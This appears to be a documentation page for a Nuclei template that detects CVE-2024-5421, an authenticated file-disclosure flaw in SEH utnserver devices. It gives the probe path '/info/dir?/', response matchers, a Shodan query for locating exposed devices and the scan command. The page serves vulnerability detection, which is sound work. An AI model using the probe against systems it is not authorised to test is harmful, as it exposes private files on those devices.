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SEH utnserver Pro/ProMAX/INU-100 20.1.22 - File Exposure

ID: CVE-2024-5421

Severity: high

Author: bl4ckp4r4d1s3

Tags: cve,cve2024,utnserver,seh,exposure

Description

Section titled “Description”

A vulnerability was identified in utnserver Pro, utnserver ProMAX, and INU-100 version 20.1.22 and earlier, impacting the file handling functions. This flaw results in authenticated file disclosure, granting unauthorized access to sensitive files and directories. Although authentication is required, the vulnerability poses a significant risk of data exposure. This vulnerability is publicly disclosed and identified as CVE-2024-5421.

YAML Source

Section titled “YAML Source”
id: CVE-2024-5421


info:
  name: SEH utnserver Pro/ProMAX/INU-100 20.1.22 - File Exposure
  author: bl4ckp4r4d1s3
  severity: high
  description: |
    A vulnerability was identified in utnserver Pro, utnserver ProMAX, and INU-100 version 20.1.22 and earlier, impacting the file handling functions. This flaw results in authenticated file disclosure, granting unauthorized access to sensitive files and directories. Although authentication is required, the vulnerability poses a significant risk of data exposure. This vulnerability is publicly disclosed and identified as CVE-2024-5421.
  reference:
    - https://cyberdanube.com/en/en-multiple-vulnerabilities-in-seh-untserver-pro/index.html
    - https://seclists.org/fulldisclosure/2024/Jun/4
    - https://nvd.nist.gov/vuln/detail/CVE-2024-5421
  classification:
    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:L
    cvss-score: 8.7
    cve-id: CVE-2024-5421
    cwe-id: CWE-78
  metadata:
    verified: true
    max-request: 1
    shodan-query: "SEH HTTP Server"
  tags: cve,cve2024,utnserver,seh,exposure


http:
  - method: GET
    path:
      - "{{BaseURL}}/info/dir?/"


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "/var/tmp</td>"
          - "File System Info"
          - 'face="courier'
        condition: and


      - type: status
        status:
          - 200
# digest: 4a0a004730450221008a167aba0bfdc7443823e5c113798ccff5490a6f149f7e9b330db8b083135367022014b0d6f3d53b324fb75f4c5d047a2de0474348ac718ee71bbb8ddde277f1ab9e:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2024/CVE-2024-5421.yaml"

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